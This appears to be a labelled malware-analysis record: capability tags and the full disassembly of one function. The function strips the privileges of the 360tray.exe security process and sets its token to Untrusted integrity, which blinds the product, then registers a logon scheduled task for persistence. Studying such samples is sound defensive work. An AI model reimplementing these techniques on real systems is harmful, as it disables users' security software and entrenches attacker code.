Function at 0x4013d2
Capabilities:
Acquire debug privileges
Get session user name
Schedule task via itaskservice

Disassembly:
push ebp
lea ebp, [esp - 0x330]
sub esp, 0x330
push 0xffffffffffffffff
push 0x413c4f
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x41c014]
xor eax, ebp
mov dword [ebp + 0x32c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp + 0x84], 7
push ecx
mov byte [ebp + 0x2c], bl
lea ecx, [ebp + 0x70]
push dword [ebp + 0x2c]
xor eax, eax
mov dword [ebp + 0x70], ebx
push 0x26
mov dword [ebp + 0x80], ebx
mov word [ebp + 0x70], ax
call fcn.00401d25
call fcn.004011dc
push 6
pop ecx
push 0x88
lea eax, [ebp + 0x2a4]
mov esi, str.360tray.exe
lea edi, [ebp + 0x28c]
push ebx
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00403490
push 0x419f28
call fcn.00401006
push 0x419f2c
call fcn.00401006
lea ecx, [ebp + 0x28c]
call fcn.0040130d
push 0x419f30
mov esi, eax
call fcn.00401006
add esp, 0x18
push esi
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x4014ab
push str.___Opened_Target_Handle_n
call fcn.00401006
pop ecx
push esi
push 0x419f50
call fcn.00401006
pop ecx
pop ecx
lea eax, [ebp + 0x40]
push eax
push 0xf01ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push str.___Opened_Target_Token_Handle_n
call fcn.00401006
pop ecx
lea eax, [ebp + 0x44]
mov esi, str.SeDebugPrivilege
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebp + 0x44]
mov ecx, dword [ebp + 0x48]
push ebx
push ebx
push 0x10
mov dword [ebp + 0x54], eax
lea eax, [ebp + 0x50]
push eax
push ebx
push dword [ebp + 0x40]
mov dword [ebp + 0x50], 1
mov dword [ebp + 0x58], ecx
mov dword [ebp + 0x5c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x40151f
push str.Failed_n
call fcn.00401006
pop ecx
push ecx
mov ecx, dword [ebp + 0x40]
mov edx, esi
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeChangeNotifyPrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeTcbPrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeImpersonatePrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeLoadDriverPrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeRestorePrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeBackupPrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeSecurityPrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeSystemEnvironmentPrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeIncreaseQuotaPrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeTakeOwnershipPrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeIncreaseBasePriorityPrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeShutdownPrivilege
call fcn.0040126a
mov ecx, dword [ebp + 0x40]
mov edx, str.SeAssignPrimaryTokenPrivilege
call fcn.0040126a
mov dword [esp], str.___Removed_All_Privileges_n
call fcn.00401006
xor eax, eax
mov dword [ebp + 0xc], 0x20
lea edi, [ebp + 0x64]
stosd dword es:[edi], eax
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp + 0x64]
push eax
mov word [ebp + 0x64], 0x101
mov byte [ebp + 0x6b], 0x10
mov dword [ebp + 0x6c], ebx
mov dword [ebp + 8], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 8
pop ecx
add eax, ecx
push eax
lea eax, [ebp + 8]
push eax
push 0x19
push dword [ebp + 0x40]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
jne 0x40162d
push str.SetTokenInformation_failed_n
call fcn.00401006
pop ecx
push str.___Token_Integrity_set_to_Untrusted_n
call fcn.00401006
pop ecx
push ebx
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x401682
push eax
push str._nCoInitializeEx_failed:__x
call fcn.00401006
pop ecx
pop ecx
lea ecx, [ebp + 0x70]
call fcn.00401cc6
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x32c]
xor ecx, ebp
call fcn.00402065
add ebp, 0x330
leave
ret
push ebx
push ebx
push ebx
push 3
push 6
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
jns 0x4016ad
push eax
push str._nCoInitializeSecurity_failed:__x
call fcn.00401006
pop ecx
pop ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x401654
lea eax, [ebp + 0x34]
mov dword [ebp + 0x34], ebx
push eax
push 0x414204
push 1
push ebx
push 0x414214
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x4016d3
push eax
push str.Failed_to_create_an_instance_of_ITaskService:__x
jmp 0x40169e
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x1c]
push eax
call ebx
lea esi, [ebp - 0x1c]
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
lea eax, [ebp]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call ebx
lea esi, [ebp]
lea edi, [ebp - 0x3c]
movsd dword es:[edi], dword [esi]
lea eax, [ebp + 0x60]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call ebx
lea esi, [ebp + 0x60]
lea edi, [ebp - 0x4c]
movsd dword es:[edi], dword [esi]
lea eax, [ebp + 0x50]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call ebx
mov byte [ebp - 4], 6
lea esi, [ebp - 0x2c]
sub esp, 0x10
mov eax, dword [ebp + 0x34]
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3c]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x4c]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp + 0x50]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x28]
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp + 0x50]
push eax
call ebx
lea eax, [ebp + 0x60]
push eax
call ebx
lea eax, [ebp]
push eax
call ebx
mov byte [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
call ebx
test esi, esi
jns 0x40178f
push esi
push str.ITaskService::Connect_failed:__x
call fcn.00401006
mov eax, dword [ebp + 0x34]
pop ecx
pop ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x4016a5
xor ebx, ebx
lea ecx, [ebp + 0x40]
push 0x41a2dc
mov dword [ebp + 0x38], ebx
call fcn.00401112
mov byte [ebp - 4], 7
mov edx, dword [eax]
test edx, edx
je 0x4017af
mov edx, dword [edx]
jmp 0x4017b1
mov edx, ebx
mov eax, dword [ebp + 0x34]
lea esi, [ebp + 0x38]
push esi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
lea ecx, [ebp + 0x40]
mov byte [ebp - 4], bl
mov esi, eax
call fcn.0040117e
test esi, esi
jns 0x4017d8
push esi
push str.Cannot_get_Root_Folder_pointer:__x
jmp 0x40177a
push 0x419eac
lea ecx, [ebp + 0x40]
call fcn.00401112
mov byte [ebp - 4], 8
mov eax, dword [eax]
test eax, eax
je 0x4017f3
mov edx, dword [eax]
jmp 0x4017f5
mov edx, ebx
mov eax, dword [ebp + 0x38]
push ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
lea ecx, [ebp + 0x40]
mov byte [ebp - 4], bl
call fcn.0040117e
mov eax, dword [ebp + 0x34]
lea edx, [ebp + 0x3c]
push edx
mov dword [ebp + 0x3c], ebx
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov ecx, dword [ebp + 0x34]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x40183e
push esi
push str.Failed_to_create_a_task_definition:__x
call fcn.00401006
mov eax, dword [ebp + 0x38]
jmp 0x401782
mov eax, dword [ebp + 0x3c]
lea edx, [ebp + 0x28]
mov dword [ebp + 0x28], ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x401870
push eax
push str._nCannot_get_identification_pointer:__x
call fcn.00401006
mov eax, dword [ebp + 0x38]
pop ecx
pop ecx
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp + 0x3c]
jmp 0x401784
push str.Author_Name
lea ecx, [ebp + 0x40]
call fcn.00401112
mov byte [ebp - 4], 9
mov eax, dword [eax]
test eax, eax
je 0x40188b
mov edx, dword [eax]
jmp 0x40188d
mov edx, ebx
mov eax, dword [ebp + 0x28]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
lea ecx, [ebp + 0x40]
mov byte [ebp - 4], bl
mov esi, eax
call fcn.0040117e
mov ecx, dword [ebp + 0x28]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x4018b9
push esi
push str._nCannot_put_identification_info:__x
jmp 0x401858
mov eax, dword [ebp + 0x3c]
lea edx, [ebp + 0x24]
mov dword [ebp + 0x24], ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
test eax, eax
jns 0x4018d5
push eax
push str._nCannot_get_settings_pointer:__x
jmp 0x401858
mov eax, dword [ebp + 0x24]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0x58]
mov ecx, dword [ebp + 0x24]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x4018fa
push esi
push str._nCannot_put_setting_info:__x
jmp 0x401858
mov eax, dword [ebp + 0x3c]
lea edx, [ebp + 0x20]
mov dword [ebp + 0x20], ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
test eax, eax
jns 0x401919
push eax
push str._nCannot_get_trigger_collection:__x
jmp 0x401858
mov eax, dword [ebp + 0x20]
lea edx, [ebp + 0x1c]
push edx
mov dword [ebp + 0x1c], ebx
push 9
mov ecx, dword [eax]
push eax
call dword [ecx + 0x28]
mov ecx, dword [ebp + 0x20]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401945
push esi
push str._nCannot_create_the_trigger:__x
jmp 0x401858
mov eax, dword [ebp + 0x1c]
lea edx, [ebp + 0x30]
push edx
mov dword [ebp + 0x30], ebx
push 0x414224
mov ecx, dword [eax]
push eax
call dword [ecx]
mov ecx, dword [ebp + 0x1c]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401973
push esi
push str._nQueryInterface_call_failed_for_ILogonTrigger:__x
jmp 0x401858
push str.Trigger1
lea ecx, [ebp + 0x40]
call fcn.00401112
mov byte [ebp - 4], 0xa
mov edx, dword [eax]
test edx, edx
je 0x40198e
mov edx, dword [edx]
jmp 0x401990
mov edx, ebx
mov eax, dword [ebp + 0x30]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
lea ecx, [ebp + 0x40]
mov byte [ebp - 4], bl
mov esi, eax
call fcn.0040117e
test esi, esi
jns 0x4019b8
push esi
push str._nCannot_put_the_trigger_ID:__x
call fcn.00401006
pop ecx
pop ecx
push str.2005_01_01T12:05:00
lea ecx, [ebp + 0x40]
call fcn.00401112
mov byte [ebp - 4], 0xb
mov edx, dword [eax]
test edx, edx
je 0x4019d3
mov edx, dword [edx]
jmp 0x4019d5
mov edx, ebx
mov eax, dword [ebp + 0x30]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
lea ecx, [ebp + 0x40]
mov byte [ebp - 4], bl
mov esi, eax
call fcn.0040117e
test esi, esi
jns 0x4019fd
push esi
push str._nCannot_put_the_start_boundary:__x
call fcn.00401006
pop ecx
pop ecx
push str.2066_05_02T08:00:00
lea ecx, [ebp + 0x40]
call fcn.00401112
mov byte [ebp - 4], 0xc
mov edx, dword [eax]
test edx, edx
je 0x401a18
mov edx, dword [edx]
jmp 0x401a1a
mov edx, ebx
mov eax, dword [ebp + 0x30]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
lea ecx, [ebp + 0x40]
mov byte [ebp - 4], bl
mov esi, eax
call fcn.0040117e
test esi, esi
jns 0x401a42
push esi
push str._nCannot_put_the_end_boundary:__x
call fcn.00401006
pop ecx
pop ecx
lea eax, [ebp + 0x4c]
mov dword [ebp + 0x4c], 0x101
push eax
lea eax, [ebp + 0x88]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp + 0x88]
push eax
lea ecx, [ebp + 0x40]
call fcn.00401112
mov byte [ebp - 4], 0xd
mov edx, dword [eax]
test edx, edx
je 0x401a77
mov edx, dword [edx]
jmp 0x401a79
mov edx, ebx
mov eax, dword [ebp + 0x30]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x5c]
lea ecx, [ebp + 0x40]
mov byte [ebp - 4], bl
mov esi, eax
call fcn.0040117e
mov ecx, dword [ebp + 0x30]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401aa8
push esi
push str._nCannot_add_user_ID_to_logon_trigger:__x
jmp 0x401858
mov eax, dword [ebp + 0x3c]
lea edx, [ebp + 0x18]
mov dword [ebp + 0x18], ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
test eax, eax
jns 0x401ac7
push eax
push str._nCannot_get_Task_collection_pointer:__x
jmp 0x401858
mov eax, dword [ebp + 0x18]
lea edx, [ebp + 0x14]
push edx
mov dword [ebp + 0x14], ebx
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x30]
mov ecx, dword [ebp + 0x18]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401af2
push esi
push str._nCannot_create_the_action:__x
jmp 0x401858
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x12c
call edi
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x10]
push edx
mov dword [ebp + 0x10], ebx
push str.MbLk
mov ecx, dword [eax]
push eax
call dword [ecx]
mov ecx, dword [ebp + 0x14]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401b2d
push esi
push str._nQueryInterface_call_failed_for_IExecAction:__x
jmp 0x401858
push 0x12c
call edi
cmp dword [ebp + 0x84], 8
lea eax, [ebp + 0x70]
lea ecx, [ebp + 0x40]
cmovae eax, dword [ebp + 0x70]
push eax
call fcn.00401112
mov byte [ebp - 4], 0xe
mov edx, dword [eax]
test edx, edx
je 0x401b59
mov edx, dword [edx]
jmp 0x401b5b
mov edx, ebx
mov eax, dword [ebp + 0x10]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp + 0x40]
mov byte [ebp - 4], bl
mov esi, eax
call fcn.0040117e
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401b8a
push esi
push str._nCannot_set_path_of_executable:__x
jmp 0x401858
push 8
pop eax
mov dword [ebp + 0x2c], ebx
mov ebx, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0x419e84
mov word [ebp + 0x60], ax
call ebx
mov dword [ebp + 0x68], eax
test eax, eax
je 0x401cbb
lea esi, [ebp + 0x60]
lea edi, [ebp - 0x4c]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1c]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 0x10
lea esi, [ebp - 0x1c]
lea edi, [ebp - 0x3c]
movsd dword es:[edi], dword [esi]
push 8
pop eax
push str.S_1_5_32_544
movsd dword es:[edi], dword [esi]
mov word [ebp + 0x50], ax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call ebx
mov dword [ebp + 0x58], eax
test eax, eax
je 0x401cbb
mov byte [ebp - 4], 0x11
lea esi, [ebp + 0x50]
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 0x40]
push 0x419eac
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00401112
mov byte [ebp - 4], 0x12
mov eax, dword [eax]
test eax, eax
je 0x401c10
mov edx, dword [eax]
jmp 0x401c12
xor edx, edx
lea esi, [ebp + 0x2c]
mov eax, dword [ebp + 0x38]
push esi
sub esp, 0x10
lea esi, [ebp - 0x4c]
mov edi, esp
mov ecx, dword [eax]
push 4
movsd dword es:[edi], dword [esi]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3c]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2c]
push 6
push dword [ebp + 0x3c]
movsd dword es:[edi], dword [esi]
push edx
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x44]
lea ecx, [ebp + 0x40]
mov esi, eax
call fcn.0040117e
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp + 0x50]
push eax
call edi
lea eax, [ebp - 0x1c]
push eax
call edi
lea eax, [ebp + 0x60]
mov byte [ebp - 4], 0
push eax
call edi
test esi, esi
jns 0x401c80
push esi
push str._nError_saving_the_Task_:__x
jmp 0x401858
push str._n_Success__Task_successfully_registered.
call fcn.00401006
mov eax, dword [ebp + 0x38]
pop ecx
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp + 0x3c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp + 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp + 0x70]
call fcn.00401cc6
xor eax, eax
jmp 0x40165f
push 0x8007000e
call fcn.00401ef0
int3